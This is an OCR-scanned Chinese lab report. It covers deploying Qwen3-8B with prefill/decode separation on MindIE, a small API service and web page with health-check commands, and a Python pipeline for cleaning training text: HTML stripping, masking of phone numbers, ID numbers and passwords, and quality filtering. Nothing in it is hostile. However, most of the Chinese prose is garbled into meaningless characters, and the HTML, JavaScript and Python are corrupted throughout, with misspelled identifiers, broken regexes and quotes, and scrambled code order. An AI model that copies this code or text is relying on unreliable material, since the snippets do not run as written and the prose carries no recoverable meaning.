font-size: 15px;

}

.actions {
margin-top: 12px;
display: flex;
gap: 10px;
flex-wrap: wrap;

}

button {
border: none;
border-radius: 9px;

%1153
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padding: 10px 16px;
font-size: 14px;
font-weight: 600;
cursor: pointer;

color: #ffffff;
background: #4f46e5;

}

button.secondary {
background: #111827;

}

button.light {
background: #e5e7eb;
color: #111827;

}

button:disabled {
opacity: 0.6;
cursor: not-allowed;

}

@media (max-width: 900px) {
.main {
grid-template-columns: 1fr;

}

.info-grid,
.param-grid {
grid-template-columns: repeat(2, 1fr);
}
}
</style>
</head>

<body>
<div class="page">
<div class="header">
<h1>Qwen3-8BPD SRS WIAIERF</h1>
<p>

%1161

LBEIREERRE APl BRSS, APl R$34E 4% MindIECoordinator, BEiEAE5EM PD HEIEH

Qwen3-8BWB8AS8 t&EY,

</p>
</div>

<div class="panel">
<h2>fRESREEEBIER</h2>
<div class="info-grid">
<div class="info-item">
<div class="label">API fg53</div>
<div id="apiStatus" class="value">FKiGE</div>
</div>
<div class="info-item">
<div class="label">jgixR53</div>
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<div id="backendStatus" class="value">tG&</div>
</div>
<div class="info-item">

<div class="label"># \ tokens</div>

<div id="promptTokens" class="value">-</div>
</div>
<div class="info-item">

<div class="label">#j+ tokens</div>

<div id="completionTokens" class="value">-</div>
</div>
<div class="info-item">

<div class="label">P [} ERFERT</div>

<div id="prefillTime" class="value">-</div>
</div>
<div class="info-item">

<div class="label">D FE& tokens</div>

<div id="decodeTokens" class="value">-</div>
</div>
<div class="info-item">

<div class="label">D P E&Ig3E</div>

<div id="avgDecodeTime" class="value">-</div>
</div>
<div class="info-item">

<div class="label">AP| 2#EhY ms</div>

<div id="apiElapsed" class="value">-</div>
</div>

</div>

<div class="actions">
<button onclick="checkHealth()">t& &R IKZ</button>
<button class="secondary" onclick="useExample()">ENli@gHi</button>
<button class="light" onclick="clearAll()">;&=455 </button>

</div>

<div class="param-grid">
<div class="param-item">
<label for="maxInputChars"># \Z&FRHl</label>

<input id="maxInputChars" type="number" value="2000" min="100" max="8000" />

</div>
<div class="param-item">
<label for="maxTokens">#gH{<E max_tokens</label>

<input id="maxTokens" type="number" value="128" min="1" max="1024" />

</div>
<div class="param-item">
<label for="temperature">;&E temperature</label>

<input id="temperature" type="number" value="0.3" min="0" max="2" step="0.1" />

</div>
<div class="param-item">
<label for="topP">X+tEEE top_p</label>

<input id="topP" type="number" value="0.8" min="0.1" max="1" step="0.1" />

</div>
</div>

<div class="note">

$11731
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WA N FIREI BT REMIRP; SEFRA tokens BIEELRE, HiHE®BITE max_tokens 2
4, temperature #{EEIEHISTE .
</div>
</div>

<div class="main">

<div class="panel">
<h2>igi \[algii</h2>
<textarea id="query">iEF—aliFEIHAAIEEUEIRF PD DEEPBAIER . </textarea>
<div class="actions">

<button id="sendBtn" onclick="sendChat()">&i%i&3k</button>

</div>

</div>

<div class="panel">

<h2>t&EI[E|Z</h2>
<div id="answer" class="answer">&H&3K...</div>
</div>
</div>
</div>
<script>

async function fetchJson(url, options) {
const resp = await fetch(url, options);
const data = await resp.json();
if (Iresp.ok) {
throw data;
}
return data;

}

function setText(id, value) {
document.getElementByld(id).textContent = value;

}

function setMetric(id, value) {
document.getElementByld(id).textContent =
value === null || value === undefined ? "-" : value;

}

async function checkHealth() {
setText("apiStatus", "t#&&H");
setText("backendStatus", "{&&H");

try {
const health = await fetchJson("/health");
setText("apiStatus", health.status === "ok" ? "IEE" : "&®&E");
document.getElementByld("apiStatus").className =
health.status === "ok" ? "value ok" : "value error";
} catch (err) {
setText("apiStatus", "\&E");
document.getElementByld("apiStatus").className = "value error";

}
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try {
const backend = await fetchJson("/backend/health");
setText("backendStatus", backend.status === "ok" ? "IEE" : "&&E");
document.getElementByld("backendStatus").className =

backend.status === "ok" ? "value ok" : "value error";

} catch (err) {
setText("backendStatus", "S&E");
document.getElementByld("backendStatus").className = "value error";

}

}

async function sendChat() {
const query = document.getElementByld("query").value.trim();
const maxInputChars = Number(document.getElementByld("maxInputChars").value);
const maxTokens = Number(document.getElementByld("maxTokens").value);
const temperature = Number(document.getElementByld("temperature").value);
const topP = Number(document.getElementByld("topP").value);

if ('query) {
alert("iEiNITR");
return;

}

if (query.length > maxInputChars) {
alert("WMARBTIIE, HEIFEFH: " + query.length + ", BR#HI: " + maxinputChars);
return;

}

const btn = document.getElementByld("sendBtn");
btn.disabled = true;

btn.textContent = "i&3keh..";

setText("answer", "{&EEIGpEH..");

try {
const data = await fetchJson("/api/chat", {
method: "POST",
headers: {
"Content-Type": "application/json"
%
body: JSON.stringify({
query: query,
max_tokens: maxTokens,
temperature: temperature,
top_p: topP
b
bk

setText("answer", data.answer || "IEEIKIREINE");

setMetric("promptTokens", data.usage && data.usage.prompt_tokens);
setMetric("completionTokens", data.usage && data.usage.completion_tokens);
setMetric("prefillTime", data.performance && data.performance.prefill_time);
setMetric("decodeTokens", data.performance && data.performance.decode_tokens);
setMetric("avgDecodeTime", data.performance && data.performance.avg_decode_time);
setMetric("apiElapsed", data.performance && data.performance.api_elapsed_ms);
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} catch (err) {

setText("answer", "iEK&KLM: " + JSON.stringify(err));
} finally {

btn.disabled = false;

btn.textContent = "&1EiEK";

}
}

function clearAll() {
setText("answer", "&&H53K...");
setMetric("promptTokens", "-");
setMetric("completionTokens", "-");
setMetric("prefillTime", "-");
setMetric("decodeTokens", "-");
setMetric("avgDecodeTime", "-");
setMetric("apiElapsed", "-");

}

function useExample() {
document.getElementByld("query").value =
"ER=GiEIRIBAEESEIRESD Prefill #1 Decode HEEFEBAIME. ",

}

checkHealth();
</script>
</body>
</html>

51203

£ 6  [ERIIRSHTAITIE
(1) /=25 APIBRSS

cd /mnt/class/qwen3_deploy/test_hzl/api_service
python3 -m py_compile app.py&&echo "app.py &t Ei@ES"

./stop_api.sh
./start_api.sh

# famhiE, AEEMMER EAREIRO
ss -Intp|grep 18080

# RIS E RO
curl -s http://xx.xx.xx.xx:18080/health|python3 -m json.tool
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mand not found

8 47405 4 21:19 pts/2 00:00:00 python3 /mnt/class/qwen3_deploy/test_hzl/api_service/app.py

3-pd-api-service started at http://0.0.0.0:18080

backend: http:// :1049/vi/chat/completions
web page:_http:// sw.. 318080/

[root@worker83 ag service Z

[root@worker@3 api_service]# tail -n 50 /mnt/class/qwen3_deploy/test_hzl/api_service/api_service.log
qwenS—pd—apL»servzce started at http://0.0.0.0:18080
backend: http: :1040/vi/chat/completions
web page:_http: 118080/
[root@worker83 api_servicel#

root@worker03 api_s e
root@worker03 api
root@workerf3 api
root@worker03 ap;_serVLce]#
root@worker@3 api_servicel]# curl -s http:// :18080/health|python3 -m json.tool

At

“status”: "ok",
wen3-pd-api-service”,
0.0.0.0:18080",
"http:// :1040/v1/chat/completions”
1
J
[root@worker®3 api servicel#

(2) WiEEmEEEEORSEEED

# EmEEENE: ZEOBTFHA AP RS EILAAEGE MindIECoordinator
curl -s http://xx.xx.xx.xx:18080/backend/health|python3 -m json.tool

# Kb SiREEO
curl -s '\
-H "Content-Type:application/json" \
-X POST \
-d{

"query":"iBEF—EIRIREAEEMEE G PD S EIPEANER. ",

"max_tokens":128,

"temperature™:0.3,

"top_p":0.8
A\

http://xx.xx.xx.xx:18080/api/chat | python3 -m json.tool --no-ensure-ascii

[root@worker03 ~]# curl \
> -H "Content-Type:application/json" \

:18080/api/chat | python3 -m json.tool --no-ensure-ascii

"status": "success",
"service": "gwen3-pd-api-service",
"backend": "http:// :1040/v1/chat/completions”,

"model”: "Qwen3-8B"
"answer": "PD% 25 Fi@it i PrefillfoDecodef i 5 F BB, e ERFIHMEIL Fll A 5 B, BAARYERONFERNELE,
"usage": {

“prompt_tokens": 76,

“completion_tokens": 40,

“total_tokens": 116

1},

"performance": {
“prefill_time"
"decode_tokens 3
"decode_total_time 1445,
"avg_decode_time": 37.65,
"api_elapsed_ms": 1559.12

AJLAEE, WS35 AP RBELZKINARRGIR PD £ E#HIERSS, FREHEEEIE. Token Fiit
0 Prefill/Decode i3F25#R -

(3) &IF Web TTE
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EREESRIA1E): http://xxxx.xx.xx:18080/

Qwen3-8BPDH EIESHDERS

BEFS RS Sl T

I 154 72 3 45 30 37.77 1202.84
v I

2000 1024 03 08

L PN ] [ LUT

W — ENERBAA RN g - FARE ERETARMREA N IRE SN, FREESYS
SEFEESNBAEBLNR,

AREF, FJLAEE#RIT Web [@&IN8E, FE AP RSIREEREE, RiRiRSREERIE
2, MABENE®E, JLURE] Qwen3-8B AYEIZ, HAEERMA tokens, it tokens.
P BYEREERT. D PAER tokens. D FAERTIEERN API ,U\%%Hjo

(4) BE API RS EE

# B 200 K563, 1588 APl fRSBIECNEKIEE .

tail -n 100 /mnt/class/qwen3_deploy/test_hzl/api_service/api_service.log

[root@worker®3 api servicel]# tail - /mnt/ wen3_deploy/test_hzl/api_service/api_service.log

"GET hcalth HTTP/1.1" 200 -
"GET backend/htalth HTTP/1.1" 200 -
“POST /api/chat HTTP/1.1" 200 -

6.3 LIS/ )\

ANSCISTERIE Qwen3-8BWSAS EXIEEYF] MindIE PD S EBERESLISHIER |, H—E5ER
TIRS (L%, SCIOTEIRIA MindIE BREERHMIERE APl IRSZE, B S EKEATISEINIIE
B39 MindIECoordinator RN,

MIEIEERE, APl IRSZEINGNT 18080 ik, FiRfit/health. /backend/health #1
/api/chat =1MZ0EO ., HA, /health BFAEERSZEBEIRZ, /backend/health FIFIGIE
API fg53%! MindIECoordinator FOIEEME, /api/chat FBFFepsEfMER I ER . &&EO
IR[0] status=success, FHiaHIERIEIE . Token Zi+#0 Prefill/Decode 1BXi8HR, HEBIRSS(L
AR EESITE
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ARSCEOASCH] 7 —MESERY Web [B1ETHE, FHEPYLUEDT NS EIELIOERERS . RE
TEPRER APl IRSZIRE. BIRIRSIAE. i tokens. it tokens. P BYERFERT. D PYER
tokens. D FYERISFEFN APl 25E0Y, THIRMABGNIIEEEZER, BIgiZTE, FRa
UIBEMERIM WSS EKE] PD £ RHERRSH=ZIAMRITIE.

ARELITERE, BMERIEELIHEIRT KA : AmiEETE, BmiEEE/, B
TIEIBL, SAE5ERE PD D BEEPE, REiEIT APl 1 Web USRS . X REK
WMWY KERIMNIEEL. E45. SPE. MHRIIRSHUTHTETIRRRR,

6.4 BEI

ARELIGH, SITARSW AP RERZIIEEE, MRE%&IEXKE] MindlECoordinator?
SEER: AHEEEEE MindIEPD SEIRSHAINEFIERE, Coordinator ELEA%
—HIEACOXTIMEMIRSS . ANERIRS I API EFIIFER, SEE45H NPU EFMTESR
B, BEEIARIF PD £ REERIZHDZIT

RS AP NEMRISIEER, FERRBKIEK. RIESH. BREK. BERIER
15t . EIFRIIEEYUEIR({IIAR MindIECoordinator B Prefill S£5JF0 Decode SLAISER o
I, APIBRSEBMAE&iEKE Coordinator, MAZEEIFNNEIEE,
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ARSCISEILE Qwen3-8B iEBYTE H B Atlas800TA2 MBI T IR S BREF, <BES riRfl
T, BEEW. HIENK. PD D EIBIIRSUIIREEINT, kT —FEMNEEH
ENSSPRSSHYSTEESCIE HER o

TESCISTRIEPNER, E5E5em T NPU RS CANN/MIndIE TRS . BediEs. BEESRMiEO
REAMWE, NEELNETS—aTEM. EEETBME, EAIIE Qwen3-8B {EEEE
BEABEEREPHRIEIRE . IIEFIER. EERESHME, EFEmRER4ER WSBAS
SWREER, NREEESERMNEFMEIINEED . THEBNAME, BERAKE.
BHEKE . H & KVCache ESHMRIEIRIRSFAIIE . FMHANFZRSBFER, FBENEMFK
EEUEIR M RESIE RS, AESHZERXE.,

PD A BB LSRRI O T . SEIRETF Qwen3-8BWBAS8 EVIREY, TRk 1
MindIE B4l 1P1D Fzh PD HEERE . H, NPUO {ESR Prefill £, NPU1 {EX
Decode 3Lf§ll, Controller faZs P/D BB&EBIIKERELE, Coordinator {EAS—HEIENCOXT
IMEMARSS . SCREEHZE. iwO. P/DRZEEO. Coordinator HEFEIRISKIGIE, FHIA
P SCflli N\ "RoleReady/prefill 487, D SEflliH N RoleReady/decode X7, P/D H4&
‘linkStatus=ok™, FFRLINIEIT 1040 ik AT SRS K

RSP, SLIISAERINEEE, HREHIE NPU HIEHIE, MEAEESE PD OB
IRSSERL EHIGiRE AP IRSE . API RS IEIF 18080 iR, FSiERELE
MindlECoordinator f9°1040' %[0, FHEt /health’. “/backend/health %0 /api/chat E#Z
O. [ERY, SCiigit 7 EiERY Web [B1Z @, BTFRER AP RSZIRE. BHRSKE. WA
tokens. #iH tokens. P PHERFERT. D BHER tokens. D FYERIIFERD APl S3ERT, (FZRATILA
BEWMEZINTEIERE PD £ EHIERSHZFHEIIE.

B AL AT LMSHEATEES: Qwen3-8B IREIN]LATE A SN E AR Se RIS Fo FIIEETEED
E; W8A8 E(VIEELAILIEN MindIE HIEIRZAMNEE RH1TINEL; PD D EEIEEEEIS
Prefill ¥ Decode FE&IFHDEIARRE NPU LfFi=1T; Coordinator @X35MESZEIZ—AA, AR
51k API 3% A& 153KE| Coordinator, MAREENEHIRE; #id Web RHEMEELEIZF]
HEIRfENR, ATLASRIFth SRS FERFNSER IR UL .

BIRKRE, AL TN “REVEST B “WRERSH BIAKRIE, FENFRIEBAIEE
EABINSFRILIRPERR . FEAEIEM FSET BHAEN. Rt . AP,
PRI MAIERR. 2 P B D RIS R MFEEANEREN,
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1.1 SEIEN A

1.1.1 XF AL

RIS F B RS F AR R SUEERSIRINEEIR(E, @ Python IEEIEELSINE%
MK . BikERD, SRS TR EEXIRE. BlUED. [BFIARURSENEATER, =D
EFﬁﬁHMMﬁLﬁTFDFhMMmh%iimmEM£Em EVEE,

1.1.2 L HAY
o SEHIAEEIBEIEE .

o SCIIKIERY)|FEUEEE,
o SIHIZSIETHIBAIAME,

1.2 SLR{FSEE

1.2.1 KBECE

RTHIEER/N, IEIFRNFE CPU,
FEaITPRERFE LRS!

pip install torch

pip install tgdm

pip install BeautifulSoup4
pip install xml

pip install ftfy

pip install langdetect

pip install jupyterlab # ®Ji%k
pip install sickit-learn

pip install matplotlib

pip install open_clip

##E Python 3X{4ak3TFF jupyter lab, ##& notebook 3Z{45ERkLA THEIE ( 2NER{ER docker
EAHRY jupyter IME, 1BRRET 8888 k[ )
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1.2.2 &S
W EEMIERS (Tik)

HFGHREBERSRK, NREEDEDEIRMEEE ( https://certification-
data.obs.cn-north-4.myhuaweicloud.com/CHS/HCIE-AI%20Developer/V1.0/raw.jsonl ) ,

AR B W SR (E R AR
R

{

"id": "doc_001",

"source":"news_crawl",

"language_hint": "zh",

"text": (
"<html><head><meta charset=\"UTF-8\"><title>&lL#E < /title></head>"
"<body><div class=\"content\">"
"<h1>fRRmHF—AiER</h1>"
"<p>BXZRAEF, HEIE 13912345678, HBFH wangfang@huawei-example.com, </p>"
"<script>var _hmt=_hmt||[]</script>"
"<style>.ad-banner{display:nonelimportant}</style>"
"</div></body></htm/[>"

}

BHIERIENENRE (—RASEREMIN AN, HEFRT schema BIITEER ) &
BERRYE:

® /NEIFEMIME: JSONL (jsonl, ANR(FEAANE: SRENECICFRFREER raw.jsonl )

o IR /EEFEHIEFSIT: Parquet (.parquet )

o TEMES/MIALIE/S Hugging Face Datasets ££253Ti%: Arrow (.arrow )

2 SANIEf

SAFEIEE:

importre

importjson

importunicodedata

import html

from typing import List, Dict, Tuple, Optional
from dataclasses import dataclass, field
from collections import Counter

from tgdm importtqdm
importregex

from bs4 import BeautifulSoup
import ftfy

import langdetect

3

IBICIAE |
Step 1: HTML/XML i&i5% - IR + SHARRD + BIAREIURBER
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Step 2: ELIB/RIBIEE
Step 3: SRS E BN
Step 4: XAHEHL
Step 5: [RETIE
B4 E£BhtmlicE

R

[Tl oy B8H

~ mojibake {8 + F&E/I=HIFHEE

~ FHS/HBFE/ P/ BHUEARITR/ERS &

- £f_.¥f + 3|84— + Unicode NFC + HE4S
KE/FHLp/ESRAASRN

!

® cript/style/iframe/svg FHr&: IERNB—FCIER (B5 XSS/IRE)
® p/div/h1~h6/li FREFIFE BN T (RBESELEN)

® a/span/strong/b/em

OFESCI:

FITARE: (NFIREIREB

class HTMLCleaner:
# BNBBIRINRES

)
# RPITE - BT

)

b
@staticmethod

if not text:
return

# TR - (NRIRE

INLINE_TAGS = frozenset({
'a', 'span’, 'strong’, 'b', 'em’, ', 'U’, 'code’,
'sub', 'sup', 'font!, 'center’, 'small’, 'mark’, 'abbr’,
'del, 'ins', 'kbd', 'var', 'cite’,

def clean(text: str) -> str:

REMOVE_TAGS = frozenset({
'script’, 'style', 'noscript’, 'iframe’, 'svg’,
'math’, 'nav', 'header’, 'footer’, 'form’,

BLOCK_TAGS = frozenset({
Ipll ldiVI' 'br', lh'll, lh2l’ lh3l, Ih4l, Ihsll Ih6l,
'li', 'tr', 'hr', 'blockquote’, 'pre’, 'table’, 'ul’, ‘ol
'section’, 'article', 'main’, 'aside’, 'figure', 'figcaption’,

soup = BeautifulSoup (text, 'lxml’)

# 1. BBER script/style F5RE (BAD)
for tag_name in HTMLCleaner.REMOVE_TAGS:
for tag in soup.find_all(tag_name):
tag.decompose()

# 2. RBIRES - BT
for tag_name in HTMLCleaner.BLOCK_TAGS:
for tag in soup.find_all(tag_name):
tag.replace_with("\n' + tag.get_text() +'\n')

# 3. TR - (XRIFEE
for tag_name in HTMLCleaner.INLINE_TAGS:
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for tag in soup.find_all(tag_name):
tag.unwrap()

# 4. 2B K

result = soup.get_text(separator="")

# 5. fi#f3 HTML LK
result = html.unescape(result)

# 6. F8b& HTML ;£ <!-- .. ->
result = regex.sub(r'<!--*?-->' ", result, flags=regex.DOTALL)

# 7. TEMEHL

result = resub(r'[ \t]+', ', result)
result = re.sub(r'\n{3,}, '\n\n', result)
return result.strip()

9|

5 AELBEIEST

ALBENSIEE, MBI

mojibake 18 ftfy FEEaMENIFHESHIGIEE, 20 a\x80\x99 - '
BEFRFREPR: \u200b \u200c \u200d \ufeff \u200e \u200f
FEEHIFFFRERR: \X00~\X1F (fREE \n \t\r)

Unicode #5B4L: NFC ozt

ELABAEIN . REHTENFRAGLL | EEEEFA

NLESEYIE

cafA© - café

class GarbledTextCleaner:
KEEP_WHITESPACE = frozenset(' \t\n\r')

# SEREERRINEE/ SO/ EIRHIF 5
ZERO_WIDTH_CHARS = (
'\u200b', # Zero Width Space
\u200c', # Zero Width Non-Joiner
'\u200d', # Zero Width Joiner
\ufeff’, # BOM (Byte Order Mark)
\uOOad', # Soft Hyphen
\u200e', # Left-to-Right Mark
\u200f', # Right-to-Left Mark
\u202a', # Left-to-Right Embedding
"\u202b', # Right-to-Left Embedding
"\u202c', # Pop Directional Formatting
\u202d', # Left-to-Right Override
"\u202e', # Right-to-Left Override
'\u2060', # Word Joiner
\u2061', # Function Application
"\u2062', # Invisible Times
"\u2063', # Invisible Separator
'\u2064', # Invisible Plus
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@staticmethod
def clean(text: str) -> str:
if not text:
return

# 1. ftfy {EE4RIBIEE (mojibake)
text = ftfy.fix_text(text)

# 2. BEERE /AT NFRH
for zwc in GarbledTextCleaner.ZERO_WIDTH_CHARS:
text = text.replace(zwc, ")

# 3. BIRIEHIZR ((REBIR1T. k. E%F)
text = "join(

ch for ch in text

if ch in GarbledTextCleaner. KEEP_WHITESPACE

or (ord(ch) >= 32 and unicodedata.category(ch)[0] != 'C")
)

# 4. Unicode NFC #581¢
text = unicodedata.normalize('NFC', text)

return text

@staticmethod
def is_garbled(text: str, max_garbled_ratio: float = 0.3) -> bool:

FIRT AR T B

FITERI:
- XERATHIIRE (<5 FF - AL
- AEFTEN/ AR RFRAEE - &L
- EEEEE—F 10+ R - &L

if not text or len(textstrip()) <5:
return True

# WBEAIIEN=/A 4L
printable_count= sum(
1 for ch in text
if ch.isspace()
or unicodedata.category(ch)[0] in ('L', 'N', 'P','S")
)
if printable_count/ len(text) < (1.0 - max_garbled_ratio):
return True

# KNELEESFA (90 IR 0s ks I i g k... )
if re.search(r'(.)\1{10,}, text):
return True

return False
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IR 6 Pl HiEAbE

I R EIN NBSFARETE . RIESR:

- replace: AEFAFER, MFNS - [FHNS]

- mask: FAES#EE, %0 13812345678 — 138"*5678
SHERMMER: B extra_rules TREENN + RWEFN
RNEHN

o FHS / ElEHEIE / BFHEFE / IP ik
o SNIES (181k) / RI1TFS (16-19 1)
o F—HERANEE / BRFR

F11R

class SensitiveDataCleaner:

DEFAULT_RULES: List[Tuple[str, str, str]] = [

# (BIR, [ENZFRIAT, BIRtER)

("FMS",  r(e<N\d)1[3-91\d{9}(?!\d)",
r'[EFENS1),

("EIEERIF", r'(?<)\d)0\d{2,3}-\d{7,8}(>!\d)’,
r'[ExEEiE]"),

("HBFE", r'[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,},
r'[HEFE]"),

("IP #EHE",  r'(?<\d)(?:(2:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}'

r'(?:25[0-5]|2[0-4]1\d|[01]?\d\d?) (?'\d)",

r'[IP ft4k]"),

("SHIES", r'(?<![A-Za-20-9])'
r'[1-9]\d{5}' # HXEB 6 {7
r'(2:19|20)\d{2}' # D 4
r'(2:0[1-9]|1[0-2])" # Bfn
r'(?:0[1-9]|[12]\d|3[01])' # HEHA
r'\d{3}' =2
r'[\dXx]' # RGN
r'(?1[A-Za-z0-9])",

r'[BDIEST),

("RITEE", r'(?<![A-Za-20-9])'
r'(2:62|4[0-9]|5[1-5])\d{14,17}'  # $EBX/Visa/MasterCard
r'(?'[A-Za-20-9])",

r'ER1ITRS1),

("ERRE", r'(?<![A-Za-z0-9])'
r'[0-9A-HJ-NP-RT-UW-Y]{2}\d{6}[0-9A-HJ-NP-RT-UW-Y]{10}
r'(?![A-Za-z0-9]),

r'[{SR1LHED),
("Z5RE", r'(?:password|passwd|pwd|ZR3|[O%)\s*[: =]\s*\S+),
r'[ZB e e,

1

def __init_ (self,
extra_rules: Optional[List[Tuple[str, str, str]]] = None,
mask_mode: str = "replace"):
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Args:
extra_rules: BENXMN [(BFR, 1EN, SER), ..]
mask_mode: 'replace" - HffF | "mask" - ESHEH

self. mnask_mode = mask_mode

self.rules = list(self. DEFAULT_RULES) + (extra_rules or [])
self.compiled = [(n, re.compile(p), t) for n, p, t in self.rules]
self.stats: Counter = Counter()

#— WIBRE —

@staticmethod
def _mask_phone(m: re.Match) -> str:
"] 385678
n = m.group()
return n[:3] + *** + n[7:] if len(n) == 11 else '[FH=]'

@staticmethod
def _mask_id_card(m: re.Match) -> str:
nn ||1 10*,\*;\*******1 234l|||l|
n = m.group()
return n[:3] + * * 11 + n[-43] if len(n) == 18 else '[BHIEFS]'

@staticmethod
def _mask_bank(m: re.Match) -> str:
11 G ki () ] D3N
n = m.group()
return n[:4] + ™ * (len(n) - 8) + n[-4]

@staticmethod
def _mask_email(m: re.Match) -> str:
"M @example.com
n = m.group()
parts = n.split('@")
if len(parts) == 2:
local = parts[0]
masked = local[0] + "* if len(local) > 3 else "**
return masked + '@' + parts[1]
return '[HPFE]"

def clean(self, text: str) -> str:
" S A TR S SRR
if not text:
return ""
for name, pat, tmpl in self.compiled:
# mask &I FXIFESRBLEREI
if self. mask_mode == "mask":
if name == "FHLS":
text = pat.sub(self._mask_phone, text)
continue
elif name == "B{pIES":
text = pat.sub(self._mask_id_card, text)

121}
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continue

elif name == "{R{7 ="
text = pat.sub(self._mask_bank, text)
continue

elif name == "HBFE":

text = pat.sub(self._mask_email, text)
continue

# BOA BEAEAR
matches = pat.findall(text)
if matches:
selfstats[name] += len(matches)
text = pat.sub(tmpl, text)

return text

131

BTN ARSI

NARETHEETIR, TRHE:

KE: SE/IRNEEEREE

FEE: FEHFHEF GHER - FTRRES
RS hLL: 32 - URERLTEXAR
BEETA: XEEET - KRE

&5 bigram: FfF4 bigram SR - BEE/Mutk
IS (i) DiEdEBIRES

1D FESCH:

class QualityFilter:

def __init_ (self,
min_length: int = 50,
max_length: int = 100000,
min_alpha_ratio: float = 0.3,
max_special_ratio: float = 0.3,
max_dup_line_ratio: float = 0.5,
max_dup_char_ratio: float = 0.3,
language: Optional[str] = None):
self.min_length = min_length
self.max_length = max_length
self.min_alpha_ratio = min_alpha_ratio
self.max_special_ratio = max_special_ratio
self.max_dup_Lline_ratio = max_dup_line_ratio
self.max_dup_char_ratio = max_dup_char_ratio
self.language = language

def check(self, text: str) -> Tuple[bool, str]:
Returns:
(is_valid, reason)
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if not text:
return False, "ZS3ZZAK"

#— KE —
if len(text) < self.min_length:

return False, f"i3%g: {len(text)} < {self.min_length}"
if len(text) > self.max_length:

return False, f"i31<: {len(text)} > {self. max_length}"

# — FEINF/EF e —
alpha_count = sum(
1 for ch in text
if ch.isalpha() or ("\u4e00' <= ch <= "\u9fff")
)
if alpha_count / len(text) < self.min_alpha_ratio:
return False, f"=ZBLELEITE: {alpha_count / len(text):2f}"

# — HEESHA (Unicode'S' 3B &RH/8Z/1EiM%) —
special_count = sum(
1 for ch in text if unicodedata.category(ch)[0] =="'S'
)
if special_count / len(text) > self.max_special_ratio:
return False, f"4F7KFS1325: {special_count / len(text):2f}"

#— E|ESTRAEN —
lines = [line.strip() for line in textsplit(\n') if line.strip()]
if lines:
dup_line_ratio = 1 - len(set(lines)) / len(lines)
if dup_line_ratio > self.max_dup_line_ratio:
return False, f"&817132: {dup_line_ratio:2f}"

#— BEEFFHF bigram 1l (EHEXASHEMN) —
if len(text) > 20:
bigrams = [text[iii + 2] for i in range(len(text) - 1)]
dup_bigram_ratio=1 - len(set(bigrams)) / max(len(bigrams), 1)
if dup_bigram_ratio > self. max_dup_char_ratio:
return False, f"88%& bigram 132: {dup_bigram_ratio:2f}"

#— BN (AI%) —
if self.language:
try:
detected = langdetect.detect(text[:1000])
if detected != self.language:
return False, f"iB=APLHEC: detected={detected}"

except langdetect.LangDetectException:

pass # MAXRELEGN, KT

return True, "1@1d

LIRS  NAHEHAE
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2 - ¥fA: Hel
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WireEsH— —- - - -
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| o - Hello

2151

123 - 123

Unicode NFC: HEZHFH— W é=e+ - B @)
2T - BPTR, BT - WRT

class TextNormalizer:

@staticmethod
def clean(text: str) -> str:

result =[]
for ch in text:
code = ord(ch)
if code == 0x3000:

resultappend(' ')
elif OXFFO1 <= code <= OxFF5E:

}
for old, new in quote_map.items():
text = textreplace(old, new)

# 3. Z—HRS
text = text.replace('\u2014', '--")
text = text.replace('\u2013', '-")

# 4. Unicode NFC #5B4

# 5. HE
text = resub(r'[ \t]+', ', text)
text = re.sub(r'\n{3,}, "\n\n', text)

return textstrip()

#1. 2 - ¥/A (REPXF OK F5)

# AT

# £f ASCl X|g

resultappend(chr(code - OXFEEQ))

else:
resultappend(ch)

text = "join(result)

#2 H—5|5

quote_map = {
\u201c: "™, \u201d: ", #""
\u2018: ", \u2019: ", #"
"\u300c" ", "\u3ood: ", # [ |
"\u300e" ", \u3oof: ", # [ ]

# —
# -

text = unicodedata.normalize ('"NFC', text)

IR MRS
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@dataclass
class CleaningStats:
SRR
total: int =0
passed: int =0
removed_garbled:int=0
removed_quality: int = 0
removed_short:int =0
sensitive_counts: Dict[str, int] = field (default_factory=dict)
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class DataCleaningPipeline:

def __init__ (self,
# BREREE
sensitive_mask_mode: str = "replace”,
sensitive_extra_rules: Optional[list] = None,
# REIEEE
quality_min_length: int = 100,
quality_max_length: int = 100000,
quality_max_dup_char: float = 0.3,
quality_language: Optional[str] = None):
self.html = HTMLCleaner()
self.garbled = GarbledTextCleaner()
self.sensitive = SensitiveDataCleaner(
extra_rules=sensitive_extra_rules,
mask_mode=sensitive_mask_mode,
)
self.normalizer = TextNormalizer()
self.quality = QualityFilter(
min_length=quality_min_length,
max_length=quality_max_length,
max_dup_char_ratio=quality_max_dup_char,
language=quality_language,

)

def clean_single(self, text: str) -> Tuple[Optional[str], str]:

BRSNS

Returns:
(cleaned_text, reason)
cleaned_text 3 None FE{EiLE

if not text:
return None, "ZS3ZZ"

# Step 1: HTML &3k
text = self.html.clean(text)

# Step 2: ELABEE + &l

text = self.garbled.clean(text)

if self.garbled.is_garbled (text):
return None, "gLf3"

# Step 3: BUREEREL
text = self.sensitive.clean (text)

# Step 4 XAHLEKL
text = self.normalizer.clean(text)

# Step 5: FRELE
passed, reason = self.quality.check(text)

FE17R
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if not passed:
return None, reason

return text, "i&@id"

def clean_batch(self, texts: List[str],
verbose: bool = True) -> Tuple[List[str], CleaningStats]:

HEEE

Returns:

(cleaned_texts, stats)
stats = CleaningStats(total=len (texts))
results: List[str] =[]

iterator = tqdm (texts, desc="7&%EHE") if verbose else texts
for text in iterator:
cleaned, reason = self.clean_single(text)
if cleaned is not None:
results.append(cleaned)
stats.passed +=1
else:
if "ELAZ" in reason:
stats.removed_garbled += 1
elif "1IZ42" in reason:
stats.removed_short += 1
else:
stats.removed_quality +=1

stats.sensitive_counts = dict(self.sensitive.stats)
return results, stats

@staticmethod
def print_report(stats: CleaningStats):
" TENERS RS
removed = stats.total - stats.passed
ratio = removed / max(stats.total, 1) * 100
print(f"\n{'="* 60}")
print(f" FIRETIRS")
print(f"{"="* 60}")
print(f" SZR4EL {stats.total:>10,}")
print(f' {REESHEL:  {stats.passed:>10,}")
print(f" FERMEE:  {removed:>10,} ({ratio:1f}%)")
print(f" I— ELA8diE: {stats.removed_garbled:>10,}")
print(f" I— TiEidiE:  {stats.removed_short:>10,}")
print(f" L mEidiE: {stats.removed_quality:>10,}")
if stats.sensitive_counts:
print(f"\n BUREEREBISEIT")
for name, count in sorted (stats.sensitive_counts.items(),
key=lambda x: -x[1]):
print(f" {name:10s}: {count:>8,} &+")
print(f'{’="* 60}")

2181
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INEEIE:

importjson

importos

from pathlib import Path

from typing import List, Dict, Any

def load_jsonl(path: Path) -> List[Dict[str, Any]]:
items =[]
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line:
items.append (json.loads(line))
